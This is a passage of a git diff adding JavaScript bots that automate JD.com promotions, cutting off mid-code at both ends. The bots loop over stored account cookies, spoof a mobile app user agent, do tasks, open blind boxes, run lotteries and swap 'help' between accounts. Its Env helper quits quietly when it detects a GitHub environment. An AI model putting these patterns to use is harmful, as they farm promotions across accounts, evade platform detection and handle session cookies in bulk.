data.data + //console.log(JSON.stringify($.doList)); + } else { + console.log(`apTaskDetail错误:${JSON.stringify(data)}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function apDoTask(body) { + return new Promise((resolve) => { + $.post(taskPostUrl('apDoTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} apDoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0) { + console.log(`浏览${$.itemName}完成\n已完成${data.data.userFinishedTimes}次\n`) + } else if (data.success === false && data.code === 2005) { + console.log(`${data.data.errMsg}${data.data.userFinishedTimes}次`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//助力 +function helpShare(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxSupBoxHomePage', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxSupBoxHomePage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0) { + console.log(`助力成功\n\n`) + } else { + console.log(`助力失败:${JSON.stringify(data)}\n\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//开盲盒 +function openBox(body) { + return new Promise((resolve) => { + $.get(taskGetUrl('superboxOrdinaryLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superboxOrdinaryLottery API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + //console.log(JSON.stringify(data)); + if (data.success === true && data.code === 0 && data.data.rewardType === 2) { + console.log(`开箱成功获得${data.data.discount}元红包\n\n`) + } else if (data.success === true && data.code === 0 && data.data.rewardType !== 2) { + console.log(`开箱成功应该获得了空气${JSON.stringify(data.data)}\n\n`) + } else { + console.log(`失败:${JSON.stringify(data)}\n\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getToken(timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://bh.m.jd.com/gettoken`, + headers: { + 'Content-Type': `text/plain;charset=UTF-8` + }, + body: `content={"appname":"50084","whwswswws":"","jdkey":"","body":{"platform":"1"}}` + } + $.post(url, async (err, resp, data) => { + try { + data = JSON.parse(data); + joyToken = data.joyytoken; + console.log(`joyToken = ${data.joyytoken}`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function taskGetUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, + //body: `functionId=${functionId}&body=${JSON.stringify(body)}&client=wh5&clientVersion=1.0.0&uuid=ef746bc0663f7ca06cdd1fa724c15451900039cf`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', + } + } +} + +function taskPostUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body: `functionId=${functionId}&body=${JSON.stringify(body)}&_t=${Date.now()}&appid=activities_platform&client=wh5&clientVersion=1.0.0`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://pro.m.jd.com/mall/active/j8U2SMhmw3aKgfWwYQfoRR4idTT/index.html?', + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch {} + return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; + this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => {})) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) })) } post(t, e = (() => {})) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => {!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); + else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; + this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; + e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; + e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_club_lottery.js b/jd_club_lottery.js new file mode 100644 index 0000000..13cbe45 --- /dev/null +++ b/jd_club_lottery.js @@ -0,0 +1,1300 @@ +/* +Last Modified time: 2021-5-11 09:27:09 +活动入口:京东APP首页-领京豆-摇京豆/京东APP首页-我的-京东会员-摇京豆 +增加京东APP首页超级摇一摇(不定时有活动) +增加超级品牌日做任务及抽奖 +增加 京东小魔方 抽奖 +Modified from https://github.com/Zero-S1/JD_tools/blob/master/JD_vvipclub.py +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#摇京豆 +5 0,23 * * * jd_club_lottery.js, tag=摇京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyjd.png, enabled=true +=================Loon=============== +[Script] +cron "5 0,23 * * *" script-path=jd_club_lottery.js,tag=摇京豆 +=================Surge============== +[Script] +摇京豆 = type=cron,cronexp="5 0,23 * * *",wake-system=1,timeout=3600,script-path=jd_club_lottery.js + +============小火箭========= +摇京豆 = type=cron,script-path=jd_club_lottery.js, cronexpr="5 0,23 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('摇京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let superShakeBeanConfig = { + "superShakeUlr": "",//超级摇一摇活动链接 + "superShakeBeanFlag": false, + "superShakeTitle": "", + "taskVipName": "", +} +$.assigFirends = []; +$.brandActivityId = '';//超级品牌日活动ID +$.brandActivityId2 = '2vSNXCeVuBy8mXTL2hhG3mwSysoL';//超级品牌日活动ID2 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await welcomeHome() + if ($.superShakeUrl) { + await getActInfo($.superShakeUrl); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.freeTimes = 0; + $.prizeBeanCount = 0; + $.totalBeanCount = 0; + $.superShakeBeanNum = 0; + $.moFangBeanNum = 0; + $.isLogin = true; + $.nickName = ''; + message = '' + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await clubLottery(); + await showMsg(); + } + } + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + if ($.canHelp && $.activityId) { + $.assigFirends = $.assigFirends.concat({ + "encryptAssignmentId": $.assigFirends[0] && $.assigFirends[0]['encryptAssignmentId'], + "assignmentType": 2, + "itemId": "SZm_olqSxIOtH97BATGmKoWraLaw", + }) + for (let item of $.assigFirends || []) { + if (item['encryptAssignmentId'] && item['assignmentType'] && item['itemId']) { + console.log(`\n账号 ${$.index} ${$.UserName} 开始给 ${item['itemId']} 进行助力`) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": item['itemId'], + "actionType": 0, + "source": "main" + }); + if (!$.canHelp) { + console.log(`次数已用完,跳出助力`) + break + } + } + } + //账号内部助力后,继续抽奖 + for (let i = 0; i < new Array(4).fill('').length; i++) { + await superBrandTaskLottery(); + await $.wait(400); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + } + if (superShakeBeanConfig.superShakeUlr) { + const scaleUl = { "category": "jump", "des": "m", "url": superShakeBeanConfig['superShakeUlr'] }; + const openjd = `openjd://virtual?params=${encodeURIComponent(JSON.stringify(scaleUl))}`; + $.msg($.name,'', `【${superShakeBeanConfig['superShakeTitle'] || '超级摇一摇'}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击弹窗直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { 'open-url': openjd }); + if ($.isNode()) await notify.sendNotify($.name, `【${superShakeBeanConfig['superShakeTitle']}】活动再次开启\n【${superShakeBeanConfig['taskVipName'] || '开通品牌会员'}】请点击链接直达活动页面\n${superShakeBeanConfig['superShakeUlr']}`, { url: openjd }); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function clubLottery() { + try { + await doTasks();//做任务 + await getFreeTimes();//获取摇奖次数 + await vvipclub_receive_lottery_times();//京东会员:领取一次免费的机会 + await vvipclub_shaking_info();//京东会员:查询多少次摇奖次数 + await shaking();//开始摇奖 + await shakeSign();//京东会员签到 + await superShakeBean();//京东APP首页超级摇一摇 + await superbrandShakeBean();//京东APP首页超级品牌日 + } catch (e) { + $.logErr(e) + } +} +async function doTasks() { + const browseTaskRes = await getTask('browseTask'); + if (browseTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = browseTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + if (taskID.length > 0) console.log(`开始做浏览页面任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('browseTask', taskID[i]); + } + } + } else { + console.log(`${JSON.stringify(browseTaskRes)}`) + } + const attentionTaskRes = await getTask('attentionTask'); + if (attentionTaskRes.success) { + const { totalPrizeTimes, currentFinishTimes, taskItems } = attentionTaskRes.data[0]; + const taskTime = totalPrizeTimes - currentFinishTimes; + if (taskTime > 0) { + let taskID = []; + taskItems.map(item => { + if (!item.finish) { + taskID.push(item.id); + } + }); + console.log(`开始做关注店铺任务`) + for (let i = 0; i < new Array(taskTime).fill('').length; i++) { + await $.wait(1000); + await doTask('attentionTask', taskID[i].toString()); + } + } + } +} +async function shaking() { + for (let i = 0; i < new Array($.leftShakingTimes).fill('').length; i++) { + console.log(`开始 【京东会员】 摇奖`) + await $.wait(1000); + const newShakeBeanRes = await vvipclub_shaking_lottery(); + if (newShakeBeanRes.success) { + console.log(`京东会员-剩余摇奖次数:${newShakeBeanRes.data.remainLotteryTimes}`) + if (newShakeBeanRes.data && newShakeBeanRes.data.rewardBeanAmount) { + $.prizeBeanCount += newShakeBeanRes.data.rewardBeanAmount; + console.log(`恭喜你,京东会员中奖了,获得${newShakeBeanRes.data.rewardBeanAmount}京豆\n`) + } else { + console.log(`未中奖\n`) + } + } + } + for (let i = 0; i < new Array($.freeTimes).fill('').length; i++) { + console.log(`开始 【摇京豆】 摇奖`) + await $.wait(1000); + const shakeBeanRes = await shakeBean(); + if (shakeBeanRes.success) { + console.log(`剩余摇奖次数:${shakeBeanRes.data.luckyBox.freeTimes}`) + if (shakeBeanRes.data && shakeBeanRes.data.prizeBean) { + console.log(`恭喜你,中奖了,获得${shakeBeanRes.data.prizeBean.count}京豆\n`) + $.prizeBeanCount += shakeBeanRes.data.prizeBean.count; + $.totalBeanCount = shakeBeanRes.data.luckyBox.totalBeanCount; + } else if (shakeBeanRes.data && shakeBeanRes.data.prizeCoupon) { + console.log(`获得优惠券:${shakeBeanRes.data.prizeCoupon['limitStr']}\n`) + } else { + console.log(`摇奖其他未知结果:${JSON.stringify(shakeBeanRes)}\n`) + } + } + } + if ($.prizeBeanCount > 0) message += `摇京豆:获得${$.prizeBeanCount}京豆`; +} +function showMsg() { + return new Promise(resolve => { + if (message) { + $.msg(`${$.name}`, `京东账号${$.index} ${$.nickName}`, message); + } + resolve(); + }) +} +//====================API接口================= +//查询剩余摇奖次数API +function vvipclub_shaking_info() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_info`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.leftShakingTimes = data.data.leftShakingTimes;//剩余抽奖次数 + console.log(`京东会员——摇奖次数${$.leftShakingTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//京东会员摇奖API +function vvipclub_shaking_lottery() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_shaking_lottery&body=%7B%7D`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取京东会员本摇一摇一次免费的次数 +function vvipclub_receive_lottery_times() { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=vvipclub_receive_lottery_times`, + headers: { + "accept": "application/json", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cookie": cookie, + "origin": "https://skuivip.jd.com", + "referer": "https://skuivip.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询多少次机会 +function getFreeTimes() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_luckyBox', { "info": "freeTimes" }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + if (data.success) { + $.freeTimes = data.data.freeTimes; + console.log(`摇京豆——摇奖次数${$.freeTimes}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function getTask(info) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_lotteryTask', { info, "withItem": true }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function doTask(taskName, taskItemId) { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_doTask', { taskName, taskItemId }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shakeBean() { + return new Promise(resolve => { + $.get(taskUrl('vvipclub_shaking', { "type": '0' }), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + // console.log(`摇奖结果:${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版超级本摇一摇 +async function superShakeBean() { + await superBrandMainPage(); + if ($.activityId && $.encryptProjectId) { + await superBrandTaskList(); + await superBrandDoTaskFun(); + await superBrandMainPage(); + await lo(); + } + if ($.ActInfo) { + await fc_getHomeData($.ActInfo);//获取任务列表 + await doShakeTask($.ActInfo);//做任务 + await fc_getHomeData($.ActInfo, true);//做完任务后查询多少次摇奖次数 + await superShakeLottery($.ActInfo);//开始摇奖 + } else { + console.log(`\n\n京东APP首页超级摇一摇:目前暂无活动\n\n`) + } +} +function welcomeHome() { + return new Promise(resolve => { + const data = { + "homeAreaCode": "", + "identity": "88732f840b77821b345bf07fd71f609e6ff12f43", + "fQueryStamp": "", + "globalUIStyle": "9.0.0", + "showCate": "1", + "tSTimes": "", + "geoLast": "", + "geo": "", + "cycFirstTimeStamp": "", + "displayVersion": "9.0.0", + "geoReal": "", + "controlMaterials": "", + "xviewGuideFloor": "index,category,find,cart,home", + "fringe": "", + "receiverGeo": "" + } + const options = { + url: `https://api.m.jd.com/client.action?functionId=welcomeHome`, + // url: `https://api.m.jd.com/client.action?functionId=welcomeHome&body=${escape(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1618538579097&sign=e29d09be25576be52ec22a3bb74d4f86&sv=100`, + // body: `body=${escape(JSON.stringify(data))}`, + body: 